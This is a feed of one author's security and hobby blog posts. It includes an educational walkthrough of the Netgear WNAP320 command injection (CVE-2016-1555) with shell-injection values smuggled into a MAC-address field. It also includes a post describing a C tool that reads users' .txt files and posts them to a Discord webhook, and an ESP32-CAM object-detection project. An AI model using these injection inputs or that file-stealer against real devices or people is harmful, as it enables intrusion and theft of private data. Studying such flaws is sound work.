href="https://linux.die.net/man/2/getdents64">Getdents64</a>(): “The system call <strong>getdents</strong>() reads several <em>linux_dirent</em> structures from the directory referred to by the open file descriptor <em>fd</em> into the buffer pointed to by <em>dirp</em>. The argument <em>count</em> specifies the size of that buffer.”</p><p><a href="https://linux.die.net/man/2/getdents64">lstat64</a>(): “These functions return information about a file.”</p><p>This confirmed that the BusyBox binary was executing normally and interacting with the firmware filesystem during runtime. No crash or observable memory corruption was identified during the tested operations.</p><h4>[Stage 9] Binary Exploitation</h4><p>No exploitable binary vulnerability was identified during runtime analysis, therefore binary exploitation was not performed.</p><h4>Findings Summary</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*OWlelP00lNmjXmJ4aI_SwA.png" /></figure><h4><strong>Remediation</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*gGD10PorfYwnC_XlcHu5Iw.png" /></figure><p>Thank you for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3cd7d8aee0e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reverse Engineering a Vulnerable IoT Firmware: Netgear WNAP320 CVE-2016–1555]]></title>
            <link>https://omergnscr.medium.com/reverse-engineering-a-vulnerable-iot-firmware-netgear-wnap320-cve-2016-1555-8e1b2b06cead?source=rss-7850207f7557------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e1b2b06cead</guid>
            <category><![CDATA[firmware-reverse]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[iot-security]]></category>
            <category><![CDATA[wnap320]]></category>
            <dc:creator><![CDATA[Omer G]]></dc:creator>
            <pubDate>Tue, 11 Aug 2026 18:44:24 GMT</pubDate>
            <atom:updated>2026-08-11T20:16:25.451Z</atom:updated>
            <content:encoded><![CDATA[<p>In this writeup, we are going to look for the vulnerability in NetGear WNAP320’s firmware. We’ll be looking at basics of IoT Hacking as I am learning it myself. The steps are exploring the firmware, analyzing what’s inside the filesystem, the vulnerability, root cause etc.</p><h4>Exploring the Device</h4><p>The NetGear WNAP320, as the name suggest, is an access point that creates a wireless LAN for devices. It is not a router though, router connects your devices to internet but AP is for propagating the wireless signal.</p><p>Firmware is a software that hardwares use to operate. It is like an operating system for embedded devices. Firmware is generally located inside of a flash chip, EEPROM or in its own microprocessor on electronic circuit boards. Our device has a flash chip of Macronix MX25L6406E, and the information can be found on <a href="https://wikidevi.wi-cat.ru/Netgear_WNAP320">https://wikidevi.wi-cat.ru/Netgear_WNAP320</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*9Dp2zxxi2CxIzVniFFC5ig.png" /><figcaption>Macronix MX25L6406E</figcaption></figure><p>On the datasheet, we can see that it has a SPI (Serial Peripheral Interface) communication protocol. SPI is a communication protocol that devices on circuit board to talk to each other. They use master-slave relation and, generally, has 4 signals such as SCLK (Clock), MOSI (Master Out — Slave In), MISO, CS (Chip Select). A master could be a microcontroller and slaves could be sensors or flash memory.</p><h4>Exploring the Firmware</h4><p>Our firmware’s version is 2.0.3 because I am interested in the vulnerability it has. So, after downloading the firmware, let’s look at what it is. Unzipping the firmware file gives us a ReleaseNotes_WNAP320 and a firmware that is compressed in tar format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*FhHLxnLsbANKXGxK1SGhew.png" /></figure><p>There are 2 interesting files after extracting the tar archive; rootfs.squashfs and vmlinux.gz.uImage.</p><pre>$ file rootfs.squashfs &amp; file vmlinux.gz.uImage <br>[1] 107517<br>vmlinux.gz.uImage: u-boot legacy uImage, Linux Kernel, Linux/MIPS, OS Kernel Image (gzip), 983040 bytes, Thu Jun 23 10:45:30 2011, Load Address: 0X80020000, Entry Point: 0X801F2000, Header CRC: 0X8B048C59, Data CRC: 0XC0C376EF<br>                                                                                                                    <br>rootfs.squashfs: data<br>[1]  + done       file rootfs.squashfs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*ZmZCRwLJ6uY0My1U7mSQ-g.png" /></figure><p>Let’s start with bootloader. Bootloader is a piece of software that is executed when a device powers on. Bootloader knows how to start up the hardware. Its duty is initializing the hardware such as RAM and Flash. It basically places the OS into memory. For embedded systems, it located the kernel inside the flash memory and loads it to RAM and gives the control to kernel.</p><p>U-boot (Universal boot) is mostly used in embedded linux devices. And, uImage is a old kernel image format that u-boot knows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*O0H__ZxYAMK2NVhwmz19tg.png" /></figure><p>It says it is a ESP image but It is, probably, a false positive. The more reliable information comes from the uImage header, which identifies the image as a Linux kernel for MIPS. It has a linux kernel version of 2.6.23, CRC32 (Which is an algorithm for error detection) and uses little-endian format. And its architecture is MIPS. MIPS is simple and fast cpu architecture that determines how the cpu executes instructions/commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*sdAIfgIGyqzUU1hzPpjYIw.png" /><figcaption><a href="https://hackmd.io/@TomasZheng/SkLpND6CL#Image-header">https://hackmd.io/@TomasZheng/SkLpND6CL#Image-header</a></figcaption></figure><p>So, magic number, crc checksum, timestamp etc are all 4 bytes. The offset of 0x1C and 0x1D are OS and CPU, respectively. And, 05 means Linux and other 05 means MIPS.</p><p>By using binwalk tool, we can extract the file system. Squashfs is a compressed and read-only file system that is, generally, used in embedded devices. While linux file system can be compressed into a small size that can be used for embedded devices. And, squashfs is a free sofware.</p><p>We can see that, from above image, the device’s filesystem is compressed by LZMA algorithm. LZMA (Lempel-Ziv-Markov chain Algorithm) is a lossless data compression algorithm that is created by Igor Pavlov who is, also, the developer 7z.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*U01zbTX_C0kot7-pLwQyEg.png" /></figure><p>It is basically a linux file system but much smaller in size. We can see the filesystem of the firmware in the image above. Before diving in to the interesting stuff, let’s take a look at what the linux directories mean.</p><p>Bin → Binaries, contains programs that are used by user or the system.<br>Dev → Device, is an interface for devices on the system, real physical devs or virtual devs.<br>Etc → contains system and app’s configuration files.<br>Lib → contains library files.<br>Proc → contains information about processes and kernel.<br>Sbin → System binaries.<br>Var → Variables, is used for data that constantly changes while the system is running.</p><p>In the /bin file in our firmware, there are bunch of executables that are symbolically linked to busybox. Busybox is a binary that holds many small versions of common linux binaries such as ls, cat, grep, rm etc. The reason why embedded devices use busybox is that embedded devices have limited storage and RAM.<br>/dev, /var and /proc directories are empty.<br>In /etc directory, there is not really a interesting stuff since shadow and passwd files did not reveal any useful credentials for this analysis.</p><p>But, there are some juicy directories inside /home directory such as /cli and /www dirs.<br>In home/cli directory, there are just empty files → find home/cli -type f -c +0c<br>But, there are many files inside home/www directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*4Q-qK34X6T6WURMHbvYCCw.png" /></figure><p>There are web files such as php, js and html. That cfg and db files are not useful. Cfg contains WiFi AP Monitoring table but it seems like test or default configuration. For that db file, when I run hexdump to see what the file’s signature is, in wikipedia, it says it is a Compound File Binary Format, a container format defined by Microsoft COM. It contains gifs and image files, it is a shame that it is not a database file.</p><p>Before diving into the other web files, understanding how this firmware works, like what services are running or what the web server is, is crucial for reversing firmwares.</p><p>Let’s look at the /etc directory for discovering some start-up scripts. First of all, inside the etc/inittab file, there is a piece of code that looks like this:</p><pre># /etc/inittab<br>#<br># Copyright (C) 2001 Erik Andersen &lt;andersen@codepoet.org&gt;<br>#<br><br># Startup the system<br>null::sysinit:/bin/mount -o remount,rw /<br>null::sysinit:/bin/mount -t proc proc /proc<br>null::sysinit:/bin/mount -a<br>null::sysinit:/bin/hostname -F /etc/hostname<br>null::sysinit:/sbin/ifconfig lo 127.0.0.1 up<br>null::sysinit:/sbin/route add -net 127.0.0.0 netmask 255.0.0.0 lo<br>null::sysinit:/bin/touch /var/log/messages<br><br># now run any rc scripts<br>::sysinit:/etc/init.d/rcS<br><br># Put a getty on the serial port<br>ttyS0::respawn:/sbin/getty -L ttyS0 9600 vt100<br><br># Stuff to do before rebooting<br>null::shutdown:/bin/umount -a -r</pre><p>I’m not going to analyze all commands above but it remounts the filesystem as read-write, mounts proc to get information about cpu, ram, kernel etc, it sets the hostname, it activates loopback address, it creates log/messages file. Then, it runs etc/init.d/rcS script. It creates a shell on ttyS0 using getty. It umounts the system before rebooting.</p><p>So, next interesting thing is etc/init.d/rcS script:</p><pre>#!/bin/sh<br><br># Start all init scripts in /etc/init.d<br># executing them in numerical order.<br># Source genric defination script.<br>. /etc/generic_include.sh<br><br>for i in /etc/init.d/S??* ;do<br><br>     # Ignore dangling symlinks (if any).<br>     [ ! -f &quot;$i&quot; ] &amp;&amp; continue<br>sleep 1 <br><br>     case &quot;$i&quot; in<br>        *.sh)<br>            # Source shell script for speed.<br>            (<br>                trap - INT QUIT TSTP<br>                set start<br>                . $i<br>            )<br>            ;;<br>        *)<br>            # No sh extension, so fork subprocess.<br>            $i start<br>            ;;<br>    esac<br>done</pre><p>This script is used for running all the scripts in /etc/init.d. Generic_include.sh includes some variables like “DROPBEARKEY=`${WHICH} dropbearkey`” and “LIGHTTPD_CONF=/etc/lighttpd.conf” which we are going to investigate afterwards. Basically, during bootup, it finds all the scripts like /etc/init.d/S* and it runs all of it. Scripts are S000mounts.sh, S002varprep.sh, S030wlan.sh, S045lighttpd.sh and more.</p><p>In S045lighttpd.sh, there is a line that goes like:</p><pre>#!/bin/sh<br>#<br># Lighttpd<br>#<br><br>[ -f ${LIGHTTPD} ] || exit 0<br><br>start() {<br>        ncecho &#39;Starting web server.        &#39;<br>        start-stop-daemon -S -q -b -x ${LIGHTTPD} -- -f ${LIGHTTPD_CONF}<br>}<br><br>stop() {<br>        ncecho &#39;Stoping web server.         &#39;<br>        start-stop-daemon -K -q -b -x ${LIGHTTPD} -- -f ${LIGHTTPD_CONF}<br>}<br>...</pre><p>So, we know that firmware uses Lighttpd for web server. This information is crucial because the vulnerability lies in web interface. Lighttpd is a lightweight, open-source web server. Small memory usage makes it suitable for IoT and embedded devices.From etc/lighttpd.conf, we can see that main directory of web files is /home/www, it runs perl, php and cgi, it has port 443 activated for https connection. The version of lighttpd is 1.4.18, running “<em>strings ./sbin/lighttpd | grep -i ‘lighttpd’</em>”.</p><p>So, We know the web root directory and web server. Now, we can enumerate web directory.<br>As we investigated before, there are mostly PHP and image files. Most of the PHP files are in www/tmpl and www/include directories. Although there could be some valuable information, we are going to look for more interesting stuff.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*g51XY_LzVBb-T4l8OIxcHg.png" /></figure><p>Let’s try to find some interesting stuff by using some Linux commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*XYJgC88fo1Id3iRkJFyD0g.png" /></figure><p>This command is used for finding user inputs such as GET, POST, REQUEST, COOKIE etc. User can manipulate REQUEST or COOKIE to get some valuable information or even execute some commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gN42Ia-r1X1fQtq67mY7vw.png" /></figure><p>This command is used for finding dangerous PHP functions. Functions like system(), exec() and shell_exec() can execute commands. So, if the user controls a variables inside of one of this functions, it can lead to command injection.</p><p>At this point, we identified the web server, its configuration, web directory, and the main components of the web application. Instead of immediately analyzing the known vulnerable files, I first enumerated how the application uses user’s input and which functions are dangerous for security. This allows us to narrow down the attack surface before investigating the CVE.</p><h4>Investigating CVE-2016–1555</h4><p>In the above image, we can see that both boardDataWW.php and boardDataNA.php files has the same line of code:</p><p>“exec(“wr_mfg_data -m “.$_REQUEST[‘macAddress’].” -c “.$_REQUEST[‘reginfo’],$dummy,$res);”</p><p>Which means is that exec() function executes the wr_mfg_data binary file, that is located at ./usr/bin/ dir, with the arguments that user supplies.</p><pre>&lt;?php<br> $flag=false;<br> $msg=&#39;&#39;;<br> if (!empty($_REQUEST[&#39;writeData&#39;])) {<br>  if (!empty($_REQUEST[&#39;macAddress&#39;]) &amp;&amp; array_search($_REQUEST[&#39;reginfo&#39;],Array(&#39;WW&#39;=&gt;&#39;0&#39;,&#39;NA&#39;=&gt;&#39;1&#39;))!==false &amp;&amp; ereg(&quot;[0-9a-fA-F]{12,12}&quot;,$_REQUEST[&#39;macAddress&#39;],$regs)!==false) {<br>   //echo &quot;test &quot;.$_REQUEST[&#39;macAddress&#39;].&quot; &quot;.$_REQUEST[&#39;reginfo&#39;];<br>   //exec(&quot;wr_mfg_data &quot;.$_REQUEST[&#39;macAddress&#39;].&quot; &quot;.$_REQUEST[&#39;reginfo&#39;],$dummy,$res);<br>   exec(&quot;wr_mfg_data -m &quot;.$_REQUEST[&#39;macAddress&#39;].&quot; -c &quot;.$_REQUEST[&#39;reginfo&#39;],$dummy,$res);<br>   if ($res==0) {<br>    conf_set_buffer(&quot;system:basicSettings:apName netgear&quot;.substr($_REQUEST[&#39;macAddress&#39;], -6).&quot;\n&quot;);<br>    conf_save();<br>    $msg = &#39;Update Success!&#39;;<br>    $flag = true;<br>   }<br>  }<br>  else<br>   $flag = true;<br> }<br><br>?&gt;</pre><p>There is a validation about MAC Address; is it empty?, is regional info valid like WW=0 or NA=1? and is MAC Address format valid? The critical point is where the MAC Address is used, in our case, inside the exec() function.</p><p>“netgear# wr_mfg_data -m macAddress -c reginfo” So, user can use some dangerous shell commands to execute on target device. For example;</p><p>“netgear# wr_mfg_data -m 112233445566 -c 0” is completely safe command to execute but if we insert a command like 112233445566; reboot → it reboots the system after executing the “wr_mfg_data -m 112233445566” part.</p><p>There is, however, validation for MAC address, but it does not prevent command injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2BrSzZEW-SNBP4VCqSkMYQ.png" /></figure><p>So, boardDataWW.php is our vulnerable php file, and from its content we know that, if we send a POST request to that endpoint with parameters of macAddress, reginfo and writeData, we can exploit this vulnerability.</p><p>Firstly, just using …5566; sleep 4 #reginfo=… → works, it has a delay of 4.6 seconds.</p><p>Sending “112233445566; echo ‘hello’ &gt; ./aa.bb #” writes a hello to aa.bb file to our root web directory of /home/www. Using # character makes all the other parameters commented out.</p><p>As you can see from the above image, it adds an aa.bb file that contains “hello” word to /home/www directory.</p><h4>Root Cause</h4><p>The root cause of this vulnerability is <a href="https://nvd.nist.gov/vuln/detail/cve-2016-1555">CWE-77: Improper Neutralization of Special Elements used in a Command (‘Command Injection’)</a>. Although the mac address is checked before being used, the validation only checks if the input matches the hexadecimal format of a MAC Address. There is a validation for the MAC address:</p><pre>ereg(&quot;[0-9a-fA-F]{12,12}&quot;, $_REQUEST[&#39;macAddress&#39;], $regs)</pre><p>At first, this looks like it checks whether the MAC address contains exactly 12 hexadecimal characters. However, the regular expression does not contain ^ and $ , so it does not require the whole input to match the pattern. It only looks for 12 hexadecimal characters somewhere in the input.</p><p>For example, an input like: 112233445566; sleep 4</p><p>still passes this validation because 112233445566 matches [0-9a-fA-F]{12,12}. The ; sleep 4 part is not checked by the regular expression.. Because user’s input is passed to shell, semicolon can be used to add another command. In short, web app takes the user input and puts it directly into exec() function without proper validation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e1b2b06cead" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Local Files to Discord: Reading and Sending Data in C]]></title>
            <link>https://omergnscr.medium.com/from-local-files-to-discord-reading-and-sending-data-in-c-3a4e41a42e5f?source=rss-7850207f7557------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a4e41a42e5f</guid>
            <category><![CDATA[webhooks]]></category>
            <category><![CDATA[winhttp]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[c]]></category>
            <dc:creator><![CDATA[Omer G]]></dc:creator>
            <pubDate>Tue, 03 Dec 2024 12:54:13 GMT</pubDate>
            <atom:updated>2026-10-28T17:12:44.072Z</atom:updated>
            <content:encoded><![CDATA[<p>A simple C program that scans specified directories in Windows for text files, reads their contents, and sends the data to a Discord webhook.</p><p>This program does the followings:</p><ul><li>Scans specified user directories (Desktop, Documents, and Downloads).</li><li>Identifies .txt files and reads their contents.</li><li>Sends the file contents to a Discord webhook using an HTTP POST request.</li></ul><p>Before we begin, get your discord webhook url from<br>Edit Channel &gt; Integrations &gt; Webhooks &gt; New Webhook<br>Copy the Webhook URL and paste it somewhere because we’ll need it after creating a HTTP Post request.</p><p>If you want to test the webhook, we can use curl like this:</p><p>curl -X POST -H “Content-Type: application/json” -d ‘{“content”: “This message is sent using curl”}’ $WEBHOOK_URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*ubn0FStxlb56SpwZDLLvwQ.png" /></figure><h4>getUsername() Function</h4><p>Using getenv() function with a “USERNAME” parameter gives us the username of the target machine.</p><p>C:\Users\test-machine&gt;set USERNAME<br>USERNAME=test-machine</p><p>We could have used the “USERPROFILE” parameter in order to getting the username and the whole path such as:</p><p>C:\Users\test-machine&gt;set USERPROFILE<br>USERPROFILE=C:\Users\test-machine</p><p>but we need to escape the backslash in order to make it work for json. Simplest solution, among other solutions, is to get the username and concatenate it with C:\\\\Users\\\\.</p><h4>findFiles() Function</h4><p>This function is used for finding the files for given folders (It is hardcoded as Desktop, Documents and Downloads). It uses Windows APIs for file operations, FindFirstFile and FindNextFile.<br>FindFirstFile and FindNextFile functions are used for searching to find all files in specified folder. And, I would like to point out that asterisk ,’*’, is used to find all the files. Without the asterisk, it returns:</p><p>Error in FindFirstFile: 2<br>Error in findFiles in main.</p><p>Whichs means that ERROR_FILE_NOT_FOUND. (Search for GetLastError codes in google.)</p><p>Another thing to consider is that we need a delimiter for concatinating strings. Using newline (‘\n’) is not an option because it cannot be used in json (atleast I couldn’t make that work). So, I use ‘#’ as a delimiter. Later on, we use this ‘#’ to find all the txt files and read the contents of those.</p><p>So the function returns a strings like this:<br>C:\\Users\\test-machine\\Desktop\\file1.txt#C:\\Users\\test-machine\\Documents\\file2.doc#</p><h4>readContentsofTxtFiles() Function</h4><p>This function is used for getting the contents of txt files found in findFiles function.<br>strtok() function is used to split a string by given delimiter. We use this for only taking the txt files. After spliting the ‘files’, which holds all the files that are seperated by ‘#’ delimiter, into the ‘token’ varible, We use this token variable to take the files that ends with ‘.txt’ by using strstr function and add it to txtFiles array. If a txt file is found, we open it using CreateFile function and then, we read the contents using ReadFile function and writes contents to content_data variable. After reading the contents, we concatinate txt file name and its contents like this:</p><p>C:\\Users\\test-machine\\Desktop\\file1.txt==&gt;Contents of file1.txtC:\\Users\\test-machine\\Documents\\file2.txt==&gt;COntents of file2.txt</p><h4>sendRequest Function</h4><p>This function is used for sending a POST request to the Discord webhook URL with the given ‘data’. It uses the WinHTTP api, Windows library for HTTP operations.<br>First, we initialize winhttp session using WinHttpOpen function with default configurations. Then, we use WinHttpConnect to establish a connection to “discord.com”. After that, we create a POST request with specified endpoint, which is our discord webhook url. After creating a request, it’s time send it. Before sending, we create our POST request body part which is a json payload. Our data here is what we want to send as a json payload. After sending, we close all the handles.</p><p>There are comment lines in teh code that references to Microsoft Documentation about sending HTTP requests.</p><h4>Main Function</h4><p>We concat files and txt files’ contents in order to send both. We needed a duplicate of files because we use ‘files’ variables for readContentsofTxtFiles which changes the data in files variable. After sending the data, we clean up the memory by freeing the allocated memory.</p><h4>Compiling</h4><p>I use debian as my main OS so I used mingw to compile the C file for Windows like this:</p><p>x86_64-w64-mingw32-gcc scan_and_send.c -o scan_and_send.exe -lwinhttp</p><p>Here is the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fbWAlECIUZzzrJxUMbQfMA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*U85xu6NH0gaQ4Fnn0an0uA.png" /></figure><p>I’ve created this program to get more familiar with C and to learn reverse engineering. I believe that creating a program first is essential for understanding its reverse process.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a4e41a42e5f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Object Detection using ESP32Cam]]></title>
            <link>https://omergnscr.medium.com/object-detection-using-esp32cam-bf7ea7d6724e?source=rss-7850207f7557------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf7ea7d6724e</guid>
            <category><![CDATA[esp32-cam]]></category>
            <category><![CDATA[esp32]]></category>
            <category><![CDATA[object-detection]]></category>
            <category><![CDATA[görüntü-i̇şleme]]></category>
            <dc:creator><![CDATA[Omer G]]></dc:creator>
            <pubDate>Thu, 30 May 2024 13:13:29 GMT</pubDate>
            <atom:updated>2024-05-30T13:13:29.572Z</atom:updated>
            <content:encoded><![CDATA[<p>This project is a final year project involving object detection using an ESP32CAM. The system captures images from the ESP32CAM, processes them with a YOLOv8 object detection models, and displays the detected objects.</p><p>GitHub: <a href="https://github.com/OmerGnscr/ESP32Cam-Object-Detection-Project">https://github.com/OmerGnscr/ESP32Cam-Object-Detection-Project</a></p><p>Object detection code:</p><pre>import cv2<br>from ultralytics import YOLO<br>import supervision as sv<br>import numpy as np<br>import urllib.request<br>import logging<br>from datetime import datetime<br>from playsound import playsound<br><br># CameraWebServer&#39;inin IP adresi<br>url = &#39;&#39; # Buraya IP adresi yazılacak (Örnek: &#39;http://192.168.43.59&#39;)<br><br># Model dosyalarının bulundugu konum<br>model_konum1 = &quot;&quot; # Buraya model dosyasının konumu yazılacak (Örnek: &quot;C:\\Users\\Documents\\multi-proje\\yolo_models\\yvm-model.pt&quot;)<br>model1 = YOLO(model_konum1)<br><br>model_konum2 = &quot;&quot; # Buraya model dosyasının konumu yazılacak (Örnek: &quot;C:\\Users\\Documents\\multi-proje\\yolo_model\\yolov8l.pt&quot;)<br>model2 = YOLO(model_konum2)<br><br># Ses dosyasi<br>sound_file = &quot;&quot; # Buraya ses dosyasının konumu yazılacak (Örnek: &quot;C:\\Users\\Documents\\multi-proje\\nesne-taninmadi.mp3<br><br># Log konfigurasyonu<br>start_time = datetime.now().strftime(&#39;%Y%m%d_%H%M%S&#39;)<br>log_dosya = f&#39;object_detection_log_{start_time}.txt&#39;<br>logging.basicConfig(filename=log_dosya, level=logging.INFO, format=&#39;[%(asctime)s] - %(message)s&#39;, datefmt=&#39;%d.%m.%Y - %H:%M&#39;)<br><br>def CamAyar():<br>    # Goruntunun boyutunu belirler. (Default: 640x480)<br>    # (1600x1200: 13, 1280x720: 11, 800x600: 9, 640:480: 8)<br>    boyut = 11<br>    urllib.request.urlopen(url + &quot;/control?var=framesize&amp;val={}&quot;.format(boyut))<br><br>    # Goruntunu kalitesini belirler. (Default: 34 - Ortalama)<br>    # (En iyi: 4 - En kotu: 63)<br>    kalite = 15<br>    urllib.request.urlopen(url + &quot;/control?var=quality&amp;val={}&quot;.format(kalite))<br><br>def main():<br><br>    CamAyar()<br><br>    # Objelerin etrafındaki kutular<br>    box_annotator = sv.BoxAnnotator(<br>        thickness=2,<br>        text_thickness=2,<br>        text_scale=1<br>    )<br><br>    while True:<br>        # ESP2Cam&#39;den görüntüyü alır<br>        try:<br>            # IP adresine istek (request) gönderir ve veriyi (goruntuyu) alır.<br>            response = urllib.request.urlopen(url + &quot;/capture&quot;) <br>            <br>            # Alınan yaniti (response) byte array&#39;i olarak depolar.<br>            image_data = np.array(bytearray(response.read()), dtype=np.uint8)<br><br>            # Byte array&#39;i cv2&#39;nin isleyebilecegi sekilde goruntuye donusturur.<br>            image = cv2.imdecode(image_data, -1) <br><br>        except Exception as e:<br>            print(f&quot;Goruntu indirilemedi: {e}&quot;)<br>            continue  # görüntüyü alamazsa diğer görüntüye geçer<br><br>        # Object Detection modelini calistirir<br>        result1 = model1(image, agnostic_nms=True)[0]<br>        result2 = model2(image, agnostic_nms=True)[0]<br><br>        # sv (Supervision) kutuphanesinin kullanabilecegi formata donusturur<br>        detections1 = sv.Detections.from_yolov8(result1)<br>        detections2 = sv.Detections.from_yolov8(result2)<br><br>        # Bazi objelerle cakistigi icin model2&#39;den cikarilacak classlari tutan list<br>        exclude_classes = [&quot;kite&quot;, &quot;refrigerator&quot;, &quot;sports ball&quot;, &quot;frisbee&quot;]<br><br>        detections2_filtered = [<br>            detection for detection in detections2<br>            if model2.model.names[detection[2]] not in exclude_classes<br>        ]<br>        <br>        # Kac tane oldugunu saymak icin gerekli<br>        counts = {}<br>        play_sound = False<br><br>        # Classların sayısını tutmak için<br>        for _, confidence, class_id, _ in detections1:<br>            if confidence &gt;= 0.5:  # Confidence %50&#39;den yuksekse<br>                class_name = model1.model.names[class_id]<br>                if class_name not in counts:<br>                    counts[class_name] = 1<br>                else:<br>                    counts[class_name] += 1<br><br>        for _, confidence, class_id, _ in detections2_filtered:<br>            if confidence &gt;= 0.5: <br>                class_name = &quot;tanimlanamayan nesne&quot;  # Model2&#39;nin tum classlarini &quot;tanimlanamayan nesne&quot; olarak degistir<br>                if class_name not in counts:<br>                    counts[class_name] = 1<br>                else:<br>                    counts[class_name] += 1<br>                # Tanimlanamayan nesne algiladiginda sesi oynatmak icin<br>                play_sound = True<br><br>        # Log çıktısı almak için<br>        if counts:<br>            log_message = &quot;, &quot;.join([f&quot;{count} {class_name}&quot; for class_name, count in counts.items()])<br>            logging.info(log_message)<br><br>        # Sesi oynatmak için<br>        if play_sound:<br>            playsound(sound_file)<br><br>        # Her bir class için ekrana text yazdırır<br>        y_offset = 50<br>        for i, (class_name, count) in enumerate(counts.items()):<br>            # Ekrandaki yaziyi dikey yazmak icin (normalde yan yana)<br>            y = y_offset + i * 50<br><br>            # Class isimlerinin labels1 ve labels2 listelerine atar<br>            # ve model2 icin etiketleri &quot;tanimlanamadi&quot; olarak degistirir<br>            labels1 = [<br>                f&quot;{model1.model.names[class_id]} {confidence:0.2f}&quot;<br>                for _, confidence, class_id, _<br>                in detections1<br>                if model1.model.names[class_id] == class_name and confidence &gt;= 0.5<br>            ]<br>            labels2 = [<br>                f&quot;tanimlanamadi {confidence:0.2f}&quot;<br>                for _, confidence, class_id, _<br>                in detections2_filtered<br>                if confidence &gt;= 0.5<br>            ]<br><br>            # labels listlerinden classlari alir ve kutucuga yazdirir<br>            image = box_annotator.annotate(<br>                scene=image, <br>                detections=detections1, <br>                labels=labels1<br>            )<br>            image = box_annotator.annotate(<br>                scene=image, <br>                detections=detections2_filtered, <br>                labels=labels2<br>            )<br><br>            cv2.putText(image, f&quot;{count} tane {class_name} bulundu!&quot;, (50, y), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2, cv2.LINE_AA)<br><br>        cv2.imshow(&quot;Multidisciplinary Project&quot;, image) # Pencerenin adi<br><br>        if cv2.waitKey(30) == 27: # ESC tusuna basmak programi durdurur<br>            break<br><br>    # Sonlandırır<br>    cv2.destroyAllWindows()<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><h4>General Overview</h4><p>In this project, a custom dataset for object detection with an ESP32CAM is used . The objects in the dataset include mavi_kare, mavi_daire, mavi_ucgen, yesil_ucgen, yesil_kare, and yesil_daire. The goal is to identify only these specific objects, and label any other objects as “tanimlanamayan nesne” (unidentified object). To achieve this, we employ two YOLOv8 models: Model1 and Model2.</p><p>Model1: This model is trained on our custom dataset and is responsible for detecting the objects we are specifically interested in.<br>Model2: This model is a more general object detection model that identifies objects outside our custom dataset. We use it to detect and label any other objects as “tanimlanamayan nesne.”</p><p>Also, an alert sound and a logging function is added to the project. When the “tanimlanamayan nesne.” appears on the screen, an alert sound plays. On the other hand, logging function is used to log every detected object in the image in real-time in a text file on our computer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DH6GKRpyQTJyF6zq4ITsdg.png" /></figure><h4>Explaination of the code</h4><p>These are the necessary libraries that are used in project.</p><pre>import cv2<br>from ultralytics import YOLO<br>import supervision as sv<br>import numpy as np<br>import urllib.request<br>import logging<br>from datetime import datetime<br>from playsound import playsoundpy</pre><ul><li><strong>cv2</strong>: OpenCV library for image processing and display.</li><li><strong>YOLO</strong>: From the Ultralytics library, used for object detection models.</li><li><strong>supervision</strong>: A library for annotating detections on images.</li><li><strong>numpy</strong>: A library for numerical operations, used here for image data processing.</li><li><strong>urllib.request</strong>: To make HTTP requests to the ESP32CAM web server.</li><li><strong>logging</strong>: For logging detected objects with timestamps.</li><li><strong>datetime</strong>: For handling date and time in logging.</li><li><strong>playsound</strong>: To play sound alerts when an unidentified object is detected.</li></ul><pre>url = &#39;&#39; # Buraya IP adresi yazılacak (Örnek: &#39;&lt;http://192.168.43.59&gt;&#39;)<br><br># Model dosyalarının bulundugu konum<br>model_konum1 = &quot;&quot; # Buraya model dosyasının konumu yazılacak (Örnek: &quot;C:\\\\Users\\\\Documents\\\\multi-proje\\\\yolo_models\\\\yvm-model.pt&quot;)<br>model1 = YOLO(model_konum1)<br><br>model_konum2 = &quot;&quot; # Buraya model dosyasının konumu yazılacak (Örnek: &quot;C:\\\\Users\\\\Documents\\\\multi-proje\\\\yolo_model\\\\yolov8l.pt&quot;)<br>model2 = YOLO(model_konum2)<br><br># Ses dosyasi<br>sound_file = &quot;&quot; # Buraya ses dosyasının konumu yazılacak (Örnek: &quot;C:\\Users\\Documents\\multi-proje\\nesne-taninmadi.mp3&quot;)<br><br># Log konfigurasyonu<br>start_time = datetime.now().strftime(&#39;%Y%m%d_%H%M%S&#39;)<br>log_dosya = f&#39;object_detection_log_{start_time}.txt&#39;<br>logging.basicConfig(filename=log_dosya, level=logging.INFO, format=&#39;[%(asctime)s] - %(message)s&#39;, datefmt=&#39;%d.%m.%Y - %H:%M&#39;)</pre><ul><li><strong>url</strong>: IP Address of ESP32. This is where the webserver is located.</li><li><strong>model1_konum model2_konum</strong>: These variables hold the location of the models in the computer.</li><li><strong>model1 and model2:</strong> Yolo v8 models.</li><li><strong>sound_file:</strong> A sound file that runs when the unidentified objects are 